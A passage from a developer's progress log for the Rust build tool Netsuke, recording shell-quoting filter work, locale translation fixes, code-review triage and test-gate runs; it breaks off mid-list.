The eight `stdlib.shell.*` keys now + exist in all 35 catalogues, and `cargo check --all-targets --all-features` + passes: the build-script localization audit that had been reporting "missing + in *every* locale" for all eight is green. + + The two wrapper keys (`stdlib.shell.args_error`, `stdlib.shell.unquotable`) + are byte-identical to en-GB, because `tests/locale_catalogue_tests.rs` pins + the bracketed code and the audit compares placeholder sets, not prose. The + six text keys are translated per `docs/localization-styleguide.md`. + + The RTL marking is computed, not hand-applied. `tests/locale_direction_tests.rs` + requires every rendered fragment of ar/fa/he to open with U+200F or a + right-to-left character, so the prefix is needed exactly when the first + character is neither. That is the same rule whether the value is a wrapper + (`‏[netsuke::jinja::shell::args] { $details }`) or a sentence opening on an + identifier, and it is a different rule from `DIRECTION_NEUTRAL`, which + exempts a key outright. `stdlib.which.args_error` is exempt; these eight are + not, so `args_error` and `unquotable` carry the mark in all three. The six + text keys split: `dialect_invalid` and `control_character` open on native + script and need nothing, and the other four open on `shell_quote`, + `shell_join` or `{ $filter }` in some locales and on native script in others + — in `ar` the four all begin in Arabic, so only `positional_option` (which + opens on the `{ $filter }` placeable) takes the mark. + + A placeable-parity check over all 35 catalogues confirms each key's + `{ $name }` set is identical everywhere, and each locale's key order and key + count (8) match en-US. + +- [x] (2026-09-27) EP-M4 runner plumbing, with its negative control recorded. + `ExecutionContext.graph_generation.recipe_shell` now reaches the filters: + `ManifestLoadInputs` carries it (resolved once by the runner and passed in, + not re-read), `graph_generation::generate_ninja_with_shell` supplies it, + `graph::handle_graph` takes the `ExecutionContext` instead of only the + reporter, and `ManifestLoadMode::Full` carries it into the `StdlibConfig` + built in `src/manifest/query.rs`. The public + `manifest::from_path_with_policy_and_environment_and_limits` gained a + `RecipeShell` parameter — the foreseen tolerance-2 breach — and + `RecipeShell::host_default` went from `pub(crate)` to `pub` to complete it, + because a caller with no resolved interpreter otherwise has no way to name + a valid value for the new parameter. The convenience wrappers in + `path_loaders.rs` pass `host_default()` and so keep their old behaviour. + The query path is unchanged: `ManifestLoadMode::ManifestQuery` still + carries no shell, and it never needed to. The divergence this sentence + originally claimed is **real but masked**, and an earlier version of this + paragraph asserted the opposite — that both surfaces resolve through + `RecipeShell::host_default` and so cannot differ. They can. The build path + seeds that default and then *overwrites* it: `src/runner/mod.rs:153` + resolves the shell from `NETSUKE_WINDOWS_SHELL` and + `src/manifest/query.rs:142` passes it to `with_recipe_shell`, while + `register_query_helpers` (`src/stdlib/register.rs:199`) applies no override. + On a Windows host with `NETSUKE_WINDOWS_SHELL=bash` the build therefore + quotes for `Sh` and `help targets` for `PowerShell`. What is preserved here + is an *agreement on this host* and a deliberate divergence elsewhere. + + The hazard the plan named is real too, but conditional rather than + unreachable. On Unix `resolve_recipe_shell_with` returns before it reads the + environment; on Windows there is no such early return, but `execute_help` + returns first (`:153`), so the query never resolves a shell on either + platform. Hoisting the resolution above that return would make a + metadata-only query reject a malformed `NETSUKE_WINDOWS_SHELL`, which is why + EP-M4's query-surface obligation pins the agreement instead of closing the + gap. See the corresponding `Surprises & discoveries` entry, which records + how a measurement that appeared to settle this could not reach it. + + `src/runner/tests/shell_seam_tests.rs` (six cases) is the acceptance + evidence, and its negative control was run rather than argued. Reverting + only the plumbing — deleting `.with_recipe_shell(recipe_shell)` from the + build seam in `src/manifest/query.rs` while leaving + `StdlibConfig::with_recipe_shell` and `recipe_text` intact — left the suite + at 5 passed, 1 failed: + + ```text + running 6 tests + test runner::tests::shell_seam_tests::build_loader_quotes_for_the_resolved_posix_shell::case_1 ... ok + test runner::tests::shell_seam_tests::shell_join_is_registered_on_the_build_surface ... ok + test runner::tests::shell_seam_tests::build_loader_quotes_for_the_resolved_posix_shell::case_2 ... ok + test runner::tests::shell_seam_tests::omitted_dialect_follows_the_loader_shell ... FAILED + test runner::tests::shell_seam_tests::bash_and_posix_render_identically_through_the_loader ... ok + test runner::tests::shell_seam_tests::an_unknown_dialect_is_rejected_with_its_code ... ok + + failures: + + ---- runner::tests::shell_seam_tests::omitted_dialect_follows_the_loader_shell stdout ---- + Error: the default dialect did not follow the loader; both rendered "a' b'" + + test result: FAILED. 5 passed; 1 failed; 0 ignored; 0 measured; 1433 filtered out; finished in 0.01s + ``` + + The five survivors are the point of the exercise, not a gap. Every one of + them names its dialect explicitly, so none of them *should* notice reverted + plumbing — and they did not. Only `omitted_dialect_follows_the_loader_shell`, + which asks the same template of two different loaders and requires the two + to disagree, can see the difference. That is what makes it the load-bearing + assertion, and it is why the suite is written so that exactly one case + carries the burden: a suite where every case failed on a revert could not + distinguish "the plumbing is missing" from "the filters are broken". + + The compile also produced one warning during the control — `unused_variables` + on the now-ignored `recipe_shell` field — which is a useful independent + signal that the field is genuinely threaded rather than merely present. + Restoring the line returned the suite to 6 passed. + +- [x] (2026-09-27) EP-M4 `shell_quote` and `shell_join` — the red tests, the + filters, the BDD scenarios, the query surface, and the documentation + note. Four commits, each gated before the next: `43d9f24c` + (`shell_filter_property_tests`), `e097c3f3` + (`shell_filter_composition_tests`), `ac36f7ab` (the eight `shell_*` + scenarios in `tests/features/stdlib.feature`), `fbcfd046` (the two + query-surface contracts plus `cargo fmt` repairs to three sources left + unformatted by earlier commits), and `668080db` + (`docs/developers-guide.md`). + + Two plan defects were found and corrected rather than implemented, both + recorded in `Surprises & discoveries`. The query surface's "deliberate + divergence" does not exist: `resolve_recipe_shell_with` returns `Posix` + before reading the environment on Unix, and `execute_help` returns before + `resolve_recipe_shell()` on Windows, so `register_query_helpers`' use of + `RecipeShell::host_default` is identical to the build surface's and no + host can observe a difference. The obligation was rewritten to pin the + agreement, and the guide documents why threading the resolution through + would be a regression (it hoists a fallible environment read above an + early return, so a malformed `NETSUKE_WINDOWS_SHELL` would start failing + a metadata query that executes nothing). The plan's `shell_quote` + scenario also could not be written as drafted: `:string` step captures + strip their delimiters without unescaping, so the drafted `\"` reached + MiniJinja raw. It was respelt with a single-quoted Jinja string, which + renders the drafted expected value verbatim. + + Every obligation has a negative control that was run, not argued. The + query-surface test went 6/6 green against a `RecipeShell::PowerShell` + seed before it was believed, which is how the fixture's two dead + assertions (an inverted guard and a membership test satisfied by the seed + itself) were found; with the trio design the same seed fails. The + `.feature`-only rebuild gap was found the same way — the harness re-runs + the previously compiled scenarios, so the touch is part of the loop. + + Suite state at the last full run: 344 passed across + `stdlib_manifest_query_tests` (6), `shell_filter_property_tests` (44), + `shell_filter_composition_tests` (13) and `bdd_tests` (281), in 5.8 s. + +- [x] EP-M4 close-out: the Windows merge gate the Linux gates cannot see. + + `make test` on this host reports 3554 tests run, 3554 passed, 5 skipped, and + the property suite alone is 44/44 — the same count the plan recorded before + the split, so the extraction lost no coverage. Neither number says anything + about Windows, and CI said something different: + `Windows / build-test-windows` was failing on `45b2fd87` and `d11ad3bb` on + `sh_quoting_round_trips_through_a_real_shell` with + `no POSIX shell available`. That is CodeRabbit finding #6, which an earlier + pass had set aside on the grounds that the finding's *arithmetic* was wrong; + the arithmetic was an aside and the substance was right. The test was also + not inherited from `main` — `tests/shell_filter_property_tests.rs` does not + exist there and was added by this branch at `43d9f24c` — so this was this + branch's own regression, not a pre-existing defect. + + The obligation is now `#[cfg(unix)]`, which is what the plan specified for it + all along: "property test executing a real `/bin/sh` subprocess, + `#[cfg(unix)]`". Gating it there rather than leaving the + `TestCaseError::fail` in place is the point — a host that cannot run a test + must not report it as failed, because no change to the code under test can + make that green. + + The cascade is the part worth recording, and the local probe found all of it + before CI did. Gating the `proptest!` block turned four further items into + errors on the non-Unix tree: two now-unused imports in the round-trip module + (the `posix_shell`/`decode_through_posix_shell` pair the property used), + three helpers in `property_support` that are reachable *only* from Unix-gated + suites (`posix_shell`, `run_posix_shell`, `decode_through_posix_shell`) and + so become dead code, and — once those were gated — the `ensure!` macro they + were the last users of. The imports each need `#[cfg(unix)]` as well, and for + a sharper reason than the unused-import error: naming an item that is itself + `#[cfg(unix)]` from an ungated `use` does not resolve at all. + + Verified against the pre-image rather than argued: the non-Unix tree compiles + clean under + `RUSTFLAGS="-D warnings" cargo check --test + shell_filter_property_tests --all-features` + with the gates swapped, and the same invocation with a deliberate unused + import appended fails with exit 101, so the green result is a measurement and + not an oracle that was never consulted. The Linux side re-runs 44/44 with the + gates restored. + +- [x] EP-M5 documentation, ADR-041, roadmap tick. Verified present rather than + assumed: `docs/adr-041-canonical-recipe-shell-quoting-surface.md` is + `Accepted` dated 2026-09-27, `docs/roadmap.md:367` carries + `- [x] 3.14.8`, and `docs/users-guide.md:518-521` documents + `shell_quote`/`shell_join` including the `dialect` argument. + +- [x] (2026-09-27) CodeRabbit review at `8d0db5b3` triaged; all five findings + dispositioned against the tree rather than the reviewer's framing. + + **What the review actually was.** Two separate review artefacts, and the + distinction matters because only one of them is on the pull request. The + *posted* review `5328262147` (`CHANGES_REQUESTED`, pinned to `94b9b247`) + carries exactly two inline comments: the `compact` predicate at + `src/stdlib/collections.rs:106` and an en-GB-oxendict spelling in + `tests/std_filter_tests/collection_filters/compact_property.rs:91` (the + British `-ise` form of *recognize*, which `typos.toml` rewrites by rule, so + the offending word is described here rather than quoted back into a file the + gate reads). Both were already fixed at HEAD, and by two different commits: + the predicate by `fc967d91` ("Keep an empty byte array out of `compact`'s + blank set") and the spelling by `338df305` ("Clear the lint cascade and the + spelling sweep"). Neither was written in response to this review — the + predicate was correctness work and the spelling fell out of the + en-GB-oxendict sweep — which is the point: the review is pinned to `94b9b247` + and reports a tree HEAD has since moved past twice. The *five* findings + triaged here come from the local `coderabbit review --agent` run captured at + `/tmp/coderabbit-c72b2360-…-3-14-8-jinja-command-helpers-to-match-documented-ergonomics.out`, + which is a different artefact with a different file scope (its + `reviewedFiles` list runs to 107 entries and includes files this branch never + touched). Reading the posted review as if it were the local one, or vice + versa, would have led to "fixing" two already-fixed items and losing three + live ones. + + **Dispositions.** Three fixed, two declined. + + 1. *`tests/stdlib_manifest_query_tests.rs:35-53`, unescaped YAML + interpolation* (trivial) — **fixed.** `write_description_manifest` spliced + `template` raw into `" description: \"{template}\"\n"`, so a template + containing a `"` would close the scalar early and spill the remainder into + the document as YAML. Latent rather than live — every current caller passes + single quotes, and `PROBES` contains no `"` — but the failure mode is the + bad one for a *test*: the manifest would still parse, so a probe could be + satisfied by a document that never rendered the template it names. Now + encoded with `serde_yaml::to_string` (already a dev-dependency, used by six + other test files), which also keeps this test's own escaping out of the set + of things a failing probe could be blamed on. + 2. *`tests/stdlib_manifest_query_tests.rs:1-400`, extract the probes* + (trivial) — **split applied; the `pub(crate)` half of the instruction + declined as unnecessary.** The file was exactly 400 lines, and the + `module_max_lines` cap is `lines > limit`, so it passed with zero + headroom. The probe block (196 lines) is now + `tests/stdlib_manifest_query_tests/dialect_probes.rs`, reached by an + explicit `#[path]` from the 220-line crate root. The reviewer's claim that + `run_query` must become `pub(crate)` for the child to reach it is **wrong**: + a descendant module resolves its ancestors' private items directly. The + compiler proved it during the split — before the `use` line was added, the + diagnostic was `cannot find function assert_full_stdlib_renders in this + scope`, resolved by `use super::{assert_full_stdlib_renders, run_query};` + with no visibility change at all. Adding `pub(crate)` would have widened + the surface to buy nothing. The split's own hazards were checked rather + than assumed: `#[path]` disarms `clippy::self_named_module_files` + (precedent: `tests/makefile_test_target.rs` + + `tests/makefile_test_target/*.rs`, every child declared the same way), and + `orphaned_module_trees` skips any directory without its own `mod.rs`, so a + plain `.rs` child is invisible to it. The moved body was verified + byte-identical to the original lines 205-400 by `sha256sum` before and + after, and both tests report under their new path (`dialect_probes::…`), + which is what proves the child compiles and runs rather than being silently + skipped. + 3. *`locales/gd/messages.ftl:294`, `beit` for `baidht`* (minor) — **fixed.** + Valid, and the inconsistency was introduced by this branch's own + `7b55b322` (`git log --no-ext-diff -S "luach le beit neoni"`). Measured + across the whole catalogue: HEAD carried `baidht`×6, `beitean`×3, `beit`×1, + against `baidht`×6, `beitean`×3 on `origin/main` — so `beit` was a third + variant, not a defensible lenited or singular form. The Gaelic paradigm is + `baidht` (singular) / `beitean` (plural), and the surroundings call for the + singular. Now `baidht`×7, `beit`×0. Lenition is not applied to this noun + anywhere: `bhaidht` appears in 0 of 35 catalogues, so line 294 now agrees + with the six other uses instead of introducing a form nothing else uses. + 4. *`locales/id/messages.ftl:294`, `retur kereta`* (minor) — **declined.** + The reviewer asks for `karakter CR` on the grounds that the current term + is not unambiguously readable as "carriage return". The wording is + genuinely awkward Indonesian, but it is the established form of a + **project-wide family**, which is what settles it. + + Measured across all 35 catalogues, "carriage return" is rendered as a + calque or loan in every one; none uses an abbreviation. Four locales share + `id`'s construction of a carriage word plus a `retur` word: `ro` + `retur de car`, `da` `vognretur`, `nb` `vognretur`, `sv` `vagnretur`. + Romanian is the sharpest case because it carries the *same two-message + family in the same shape* — `stdlib.command.quote.line_break` (line 277) + and `stdlib.shell.quote.control_character` (line 294) — so `id`'s pairing + is not an `id` defect but the family's ordinary form. **`CR` appears in + 0 of 35 catalogues.** + + Against that, `karakter CR` would be a one-locale abbreviation introduced + into a family with a settled shape. And the finding cannot be applied + locally: the same wording already ships at + `stdlib.command.quote.line_break` (line 277 here, line 275 on + `origin/main`, untouched by this branch), and the styleguide requires + message families to stay parallel. Changing only the new line would leave + two `id` messages describing the same control characters in two + vocabularies; changing both would edit a line `origin/main` owns and this + branch has no other reason to touch. Neither is worth a wording + preference, so the disposition is "move both or not at all", and the + reasoning is recorded here rather than actioned. Should a later locale + pass adopt `karakter CR`, it should move both lines together. + 5. *`docs/localization-glossary.md:1217`, `keyword` argument* (minor) — + **fixed.** Valid and a real defect: the row read "the `keyword` argument of + `shell_quote`/`shell_join` takes this term", but neither filter has a + `keyword` argument — `dialect` is the only option either takes, and it is + keyword-only. The row was added in `57d733b4` and described the filters + wrongly. The row now names `stdlib.shell.positional_option` as the message + that carries the concept, which is checkable and true: en-GB line 299 reads + "`{ $filter }` takes its options by keyword", and gd line 299 renders it + with `facal-luirg`. The replacement was written to the table's 314-column + width rather than left for `mdtablefix` to re-pad, which is the lesson the + preceding entry records. + + **The pull-request state is not approval, and was checked rather than + assumed.** The CodeRabbit app is **auto-paused** on this branch, so its + `success` status on `8d0db5b3` reads "Review paused" and is a pause + indicator, not a review outcome. The stale `CHANGES_REQUESTED` review + `5328262147` remains pinned to `94b9b247` and will keep reporting until it is + dismissed or the app is resumed. The pull request is `MERGEABLE` with + `mergeStateStatus: BLOCKED`, the block being the pending required check + `build-test`. None of that is a substitute for the deterministic gates, which + is why the fixes above are gated before any re-review is requested. + +- [x] (2026-09-27) The gate run at `fbbeeeb7` found one failure, in the split + this entry describes: a trailing blank line after the root file's final + `}`, rejected by `cargo fmt --all -- --check`. Fixed in `10b76e45`. + + **Why it is worth recording.** + `cargo check --test stdlib_manifest_query_tests` passed, the six tests + passed, and `make lint` passed — the file was correct by every measure except + the one gate that reads trailing whitespace. Removing one line from the end + of a file is exactly the edit a line-oriented split invites, and + `sed -n '1,220p'` produced it by keeping the separator blank line that had + followed the last block. **A file split is a formatting change, not just a + move**, so the formatting gate has to see it; a compile-and-test check cannot. + + **A second shape worth naming.** The gate logs for this run record + `SHA_BEFORE=fbbeeeb7` on every line but `SHA_AFTER=0ac808fa` on `lint`, + because the documentation-correction commit landed while the run was in + flight. The logs are honest — they record both — but a reader scanning only + `SHA_BEFORE` would attribute a `lint` result to the wrong tree. Any commit + made during a gate run invalidates that run's provenance, even when the delta + is harmless; the whole set must be re-run against the final HEAD. + +- [x] (2026-09-27) The re-run at `890a657f` found two more defects, both in + **this document** and both introduced by the disposition entry itself: + `mdtablefix --check` rejected three paragraphs for re-wrapping, and + `markdownlint` reported MD038 at line 2886 on a code span reading + `` ` le b` ``. Fixed in the same commit as this entry. + + **Why the code span was broken, and why the repair is not cosmetic.** The + span was written to name the Gaelic lenition context and lost a leading + grapheme, leaving a space inside the backticks. But the claim it carried was + also unverifiable as written: *every* `le b` context is followed by a `b` by + construction, so "the only `le b` context is a following `b`" is a tautology + and not a measurement. The repaired text states something checkable instead — + `bhaidht` appears in 0 of 35 catalogues, so line 294 agrees with the six + other uses of `baidht` rather than introducing a form nothing else uses. + + **A `--wrap` refill is a formatting change that a reader cannot see.** + `mdtablefix --check` failing with `+13 -14` does not mean 13 wrong lines: it + means the paragraph's fill point drifted. All three hunks moved text + *between* lines without changing a word, which is why the prose read + correctly while the gate was red. The diff is the only artefact that shows + it, so the check has to be run before the commit rather than reasoned about. + + **Both defects were in a document, and both were caught by Markdown gates.** + Nothing in `cargo check`, `make lint`, `make typecheck`, or `make test` reads + prose wrapping or code-span interiors, and all four passed on the same tree + (3578/3578 tests green). This is the second time on this branch that a + prose-only edit was invisible to every non-Markdown gate — the first being the + `sed -n '1,220p'` trailing blank line. `make check-fmt` and + `make markdownlint` are the only two gates with jurisdiction here, and they + are not optional on a documentation commit. + +- [x] (2026-09-27) The seven-gate set is green at `bb6bfa49`, and that commit is + pushed. The push then exposed a **separate, advisory** concern: + `CodeScene Code Health Review (main)` had been failing on this branch for + its last six heads, on `tests/shell_filter_property_tests/property_support.rs` + — a file added by `6f41c6f3`, which was already on the branch before the + five commits this entry describes. Reproduced locally and dispositioned + as an exemption in `.codescene/code-health-rules.json`. + + **The finding is real, and it is not fixable by refactoring.** `cs delta` + reports `String Heavy Function Arguments`, 75.0% of arguments to 10 functions + being strings against a 39.0% threshold. Independent counting of the file's + `pub(super) fn` signatures agrees exactly: 9 `&str` of 12 parameters, 10 + functions. The tempting remedy is to type the `dialect: &str` selectors as + `RecipeShell`, which is what production stores + (`src/stdlib/config/recipe_shell.rs`). Measured, that is not enough: typing + both selectors that take one moves the ratio 75.0% → 58.3%. Even typing all + three dialect-bearing parameters only reaches 50.0%, because six of the + twelve parameters take adversarial text *by design* — an unconstrained + template, a shell word drawn from a metacharacter alphabet, the encoder's + output read back through a POSIX shell, a PowerShell literal to decode, a + script to run. A harness whose subject matter is text the filters must not + assume well-formed cannot reach 39% while still testing what it exists to + test. + + **Why an exemption rather than a refactor.** CodeScene names the missing + domain language as the defect, and here the strings *are* the domain: the + suite's whole purpose is to hand the filters inputs that are not well-formed + words. The repository already carries this exact rule, at weight 0.0, for + `src/ir/cmd_interpolate_property_support.rs` — a file of the same shape, whose + `matching_content_path_doc` gives the same reason (private test-only + strategies and oracles over deliberately adversarial values). The new entry + follows that precedent and its documented convention that each rule set be + narrowly scoped and justified in `matching_content_path_doc`. It is scoped to + one 200-line file, added by a 10-line purely additive JSON edit, and it + states the measured alternative rather than asserting that none exists. + + **This concern does not gate the branch.** The `main-required-checks` ruleset + (`18427981`) requires exactly `build-test`, `kani-smoke`, `netsukefile`, and + `release / metadata`, all four of which passed. Code health is advisory here. + It is recorded because it is branch-specific rather than repo-wide noise — + `cs delta` is PR-scoped, and a survey of the other open pull requests found + 10 of 11 passing it, so dismissing it as background would have been wrong. + +- [x] (2026-09-27) The seven-gate set is green again at `b9e23191`, and that + commit is pushed. This is the third full run on this branch; the two + before it were invalidated, the first by a `cargo fmt` defect and the + second by a mid-run commit. + + `SHA_BEFORE == SHA_AFTER == b9e2319197865d0a92aafbd169e794493602d3aa` on all + seven gates, every one `EXIT=0`. `test` ran 3578 nextest tests (3578 passed, + 5 skipped) plus both doctest targets; `doc-coverage` measured 4815/4872 = + 98.83% against an 80.00% threshold; `markdownlint` reported 0 errors over 167 + files. The five skipped tests correlate exactly with the five `#[ignore]` + attributes in the sources, so none is a silently disabled gate. + + **A log-naming hazard worth recording.** The gate runner writes to + `/tmp/--.out`, which is keyed by *branch* and not by + revision. Three families of stale log now sit in `/tmp` for this one branch — + the uppercase `CHECK-FMT`-style set from an earlier run, a `peer-0828-*` set, + and a `peer-stale8d0db5b3-*` set whose `.out.meta` sidecars record a + `head_before` that is not this branch's HEAD at all. A reader who greps for + the branch name gets every one of them and can easily cite a green result + from a tree that no longer exists. The current run's own logs are + distinguishable only by their run prefix and mtime, which is exactly the + provenance gap the `SHA_BEFORE`/`SHA_AFTER` trailer closes from the inside. + Cite the trailer, not the filename. + +- [x] (2026-09-27) Six further CodeRabbit findings triaged at `b9e23191`; one + fixed, five declined. The fix is a single Korean particle; every decline + is backed by a count against `origin/main` rather than a preference. + + **Dispositions.** One fixed, five declined. + + 1. *`locales/ko/messages.ftl:356`, `compact은` for `compact는`* (minor) — + **fixed.** Valid. `compact` is transliterated 컴팩트, whose final syllable + 트 carries no 받침, so the topic marker is 는. The finding is confirmed by + the catalogue's own arithmetic rather than by consulting a grammar: a + sweep of every Latin identifier bearing a bare (unhedged) particle in this + file returns **17 sites**, and line 356 was the **only one** that + disagreed with the 받침 rule. Fourteen others are correct by inspection — + `Netsuke는` (트-final), `Ninja를` (자-final, no 받침), `JSON을` (엔-final), + `YAML은` (엘-final, has 받침), `glob이` (브-final), `group_by가`, + `timedelta가`, `cwd_mode는`. The decisive comparison is the sibling at line + 143, `default는`: `default` is 디폴트 and `compact` is 컴팩트, both + 트-final, both therefore take 는 — so 143 and 356 are the same + phonological class and could not both be right. 143 is branch-added too + (`e453322c`, EP-M1) and is the correct member of the pair, which is why + the repair moved 356 toward 143 and not the reverse. + + The catalogue also has a **second, older convention** for exactly this + situation, and the choice between them was made on counts. An identifier + bearing a particle is written with a hedge in **58 places on + `origin/main`** (은(는)×15, 이(가)×20, 을(를)×23), including both of this + branch's own `stdlib.shell` lines — 293 `shell_quote은(는)` and 297 + `shell_join은(는)`, which are line 356's sentence with a different + identifier substituted. The hedge is the safer form because it cannot be + wrong, and it was the candidate the triage recommended. It was **not** + taken: of the 17 bare-particle sites the sweep returns, **8** use 은/는, + and the two that frame line 356 — the main-owned 355 (`flatten은`, line 341 + on `origin/main`) and this branch's own 143 (`default는`) — are both + unhedged and both correct. Line 355 is 356's immediate sibling in the same + `stdlib.collections` block and shares its sentence shape. Only **2** of the + 8 은/는 sites are branch-added at all (143 and 356); the other **6** are + main-owned. Hedging 356 alone would make two adjacent lines describing the + same filter family disagree in form, and hedging all eight would edit six + main-owned lines for no defect. So the minimal correct repair is + the particle itself, and the hedge is recorded here as the alternative a + later locale pass may prefer. Note that no document states a rule either + way — `docs/localization-glossary.md` covers spacing (띄어쓰기), loanword + orthography, and false friends for Korean, but says nothing about particle + selection — so the 17-site sweep, not a citation, is what settles it. + 2. *`locales/hi/messages.ftl:294`, `गाड़ी वापसी` for `कैरिज रिटर्न` + (carriage return)* (minor) — **declined.** The requested form + `कैरिज रिटर्न` appears in **0** of 35 catalogues. `गाड़ी वापसी` is the + branch's calque and reads as a literal "cart return", but the finding + cannot be applied locally: the identical wording already ships at + `stdlib.command.quote.line_break`, which is **main-owned** — line 274 on + `origin/main`, untouched by this branch, and line 277 here only because + the branch's own insertions shifted it down. This is the same + "move both or not at all" disposition as the Indonesian finding recorded + above, and for the same reason: changing only the new line would leave two + Hindi messages describing the same control characters in two vocabularies, + while changing both would edit a line this branch has no other reason to + touch. (Because `grep -c` is unreliable on these Unicode catalogues — it + returned 0 for text that was visibly present — the counts here come from + Python's `str.count()`: HEAD 2, `origin/main` 1.) + 3. *`locales/ru/messages.ftl:143`, `получено` agreement* (minor) — + **declined.** The reviewer reads `получено { $kind }` as a predicate + agreeing with a missing subject. It is an **impersonal passive** — "it was + received" — which takes no accusative object and therefore no agreement at + all, so there is no number or gender for it to get wrong. The placeholder + also does not supply one: `{ $kind }` renders MiniJinja's own `ValueKind` + labels, which are Latin and indeclinable (`string`, `number`, `sequence`). + And the construction is not this branch's invention: `origin/main` uses + `получено` immediately followed by a placeable in **4** places (lines 154, + 182, 229, 367), and `получено` never once appears followed by a Cyrillic + word — so the new line reproduces a main-owned pattern exactly. + 4. *`locales/uk/messages.ftl:143`, `отримано` agreement* (minor) — + **declined**, for the reasons in finding 3, which the reviewer raised + separately for the Ukrainian catalogue. `отримано { $placeable }` occurs + **4** times on `origin/main` (the same four lines), and `отримано` is + likewise never followed by a Cyrillic word there. + 5. *`locales/ru/messages.ftl:143`, duplicate of finding 3* (minor) — + **declined as a duplicate.** Same line, same requested change, filed + against the same message key; the second occurrence adds no new evidence. + 6. *`locales/uk/messages.ftl:143`, duplicate of finding 4* (minor) — + **declined as a duplicate**, as above. + + **One of the declines rests on a distinction the reviewer could not see from + the line alone.** Findings 3-6 all target the *same* placeholder substitution + that findings 1 and 2 do not: `{ $kind }` is not a translated noun but a + runtime type label. That is why "the participle must agree with it" is not a + near-miss but a category error — there is no Slavic noun in the rendered + string at all. The same reasoning applies to the `을(를)` hedge on the Korean + line 356 that finding 1's sentence contains, and to the 28 `을(를)` hedges in + this catalogue: every one of them marks an object whose identity is only + known at render time, which is precisely why the hedge exists rather than a + chosen particle. Recorded because the shape recurs — a finding that reads a + placeholder as if it were prose will keep proposing agreement rules for + values that have no grammatical features to agree with. + +- [x] (2026-09-27) The seven-gate set is green at `c3078c1f`, the Korean repair + and the dispositions committed and pushed. Fourth full run on this branch. + + `SHA_BEFORE == SHA_AFTER == c3078c1f4e8c5cac9bab04f778aaa75991378532` on all + seven gates, every one `EXIT=0` and `PROVENANCE=valid`, with + `git status --porcelain` empty before and after each. `test` ran 3578 nextest + tests (3578 passed, 5 skipped) across 108 binaries plus **both** doctest + targets (129 passed, 32 ignored, 0 failed — the two-target count confirmed + rather than assumed); `doc-coverage` 4815/4872 = 98.83% against the 80.00% + threshold; `markdownlint` 0 errors over 167 files; `nixie` 168 files. + + **The run caught a self-inflicted provenance defect, and that is the entry's + real content.** Two seconds after `check-fmt` finished, I edited this very + document to tick a stale checkbox — with the gate run still in flight. The + runner's own trailer recorded `DIRTY_BEFORE=1` on `make lint` without being + told, which is the check working as designed; `SHA_BEFORE == SHA_AFTER` still + held, because HEAD had not moved, so the defect was working-tree-only and the + gate's verdict survived. I reverted the edit with `git checkout --`, saved it + to a patch outside the repository, and re-applied it afterwards, so the run's + provenance now covers exactly the commit it cites. + + Three things this is worth recording for. **First**, the failure mode is + milder than the one the earlier entries describe — a dirty working tree does + not invalidate a gate whose stages never read the dirty file, and `lint`'s + stages (`cargo doc`, clippy, whitaker, ruff, pylint, yamllint, actionlint) + read no Markdown at all. That was verified from the log rather than assumed. + **Second**, the distinction between *HEAD moving* and *the working tree + changing* is what decides whether a run is invalidated, and only the first is + caught by a `SHA_BEFORE`/`SHA_AFTER` comparison; the `DIRTY_*` trailer is + what closes the second, which is why it earns its place. **Third**, the + correct order is to freeze the tree *before* summoning the gate runner, not + to reason afterwards about whether a mid-run edit mattered. Had the edit + landed before `check-fmt`'s start, or had it touched a file that + `markdownlint` or `mdtablefix` reads, the whole set would have had to be + re-run; the cheap insurance is to commit or revert first and ask questions + later. + + **The checkbox was stale, and re-verifying it was the point.** The unticked + box described a completed repair pass whose end state I confirmed against the + tree rather than the entry's own prose: `recorded_render` is + `src/observability_recorder_dialect_tests.rs:38`, returns + `Result>`, and propagates its fallible steps with `?`. Its + callers unwrap at their own sites inside recognized test functions, which is + what the whitaker rule requires — and which is a *positional* requirement, + not a module-scoped one: `src/observability.rs:173` gates the parent module + with `#[cfg(test)]` and reaches the child through `#[path]`, so the helper + compiles only under `cfg(test)` yet is not itself "a test" for lint purposes. + A `tests/`-scoped search finds no trace of it, because it lives under `src/`; + that is the likely reason the box went unticked, and it is the same + `#[path]`-under-`src/` shape recorded earlier for the Whitaker test-module + split. + +- [x] (2026-09-27) The seven-gate set is green at `323169b4`, and the tree was + frozen before the runner was summoned rather than after. + + `SHA_BEFORE == SHA_AFTER == 323169b46bcf2dd9c80a04be73365a0fec8f7aee` on all + seven gates, every one `EXIT=0`, `PROVENANCE=valid`, and — the point of this + run — `DIRTY_BEFORE = DIRTY_AFTER = 0` on every one, confirmed still clean + after the final gate. This is the first run on this branch with no provenance + caveat attached. `check-fmt` exercised all three stages including the + `mdtablefix --wrap` refill, which the preceding entry's edit had made + necessary: `167 files left unchanged`. `test` ran 3578/3578 nextest (5 + skipped) plus the doctest targets, and `doc-coverage` held 98.83%. + + **The sequencing fix is the content here.** The previous entry records + dirtying the tree two seconds into a run; this one is the correction applied + as practice rather than as resolution — the edit was committed first, the + tree confirmed empty with `git status --porcelain`, and only then was the + runner started. That is cheaper than the alternative in both directions: no + reverted edit to re-apply, and no judgement call afterwards about whether a + mid-run change mattered. + + **One honest limit on what this run proves, stated because the runner raised + it.** The delta is Markdown-only, so `lint` and `test` exercised build + artefacts cached from `c3078c1f` rather than recompiling cold. That is + expected and correct for a documentation commit — the Rust tree is unchanged + from `c3078c1f`, which was itself verified green on the same seven gates, and + the Rust-bearing commits behind it were gated in their turn. But this run is + not fresh evidence that the Rust tree compiles from cold, and it should not + be cited as such. + +- [x] (2026-09-27) The CodeRabbit review at `75e0b671` triaged; ten findings + applied and seven declined, two of the declines being the same request + filed twice. One finding — the query/build divergence — was upheld against + this plan's own text, and correcting it took three passes before every + site was covered. + + **Dispositions.** 17 raw findings, 15 distinct: findings 11 and 15 are one + German request filed twice against the same line, and 10 and 16 one Czech + request. Items are keyed to the review's own numbering, taken from its JSONL + log. Of the seven declined, five are distinct — the Indonesian wording + request, findings 5 and 6 against `dialect_probes.rs`, and the Czech and + German case-frame pair — and two are the *second filing* of a finding whose + first filing was also declined, so no distinct request is double-counted on + either side. `coderabbit review --agent` ran for 877 s, exit 0, + `review_completed`, no rate limiting (5 of 10 quota units spent), while the + GitHub app remained **auto-paused** on this branch — its `success` status on + `75e0b671` reads "Review paused", which is a pause indicator and not a + verdict. + + 1. *`locales/id/messages.ftl:294`, `retur kereta` → `karakter CR`* — + **declined, and already declined once.** The requested string appears in + **0** of 35 catalogues; the Indonesian catalogue simply names the control + characters differently. Rewording the new line alone would leave two + Indonesian messages describing the same characters in two vocabularies, and + the alternative rewrites `stdlib.command.quote.line_break`, a **main-owned** + line (275 on `origin/main`; 277 here only because this branch's insertions + shifted it) that this branch has no other reason to touch. + 2. - + 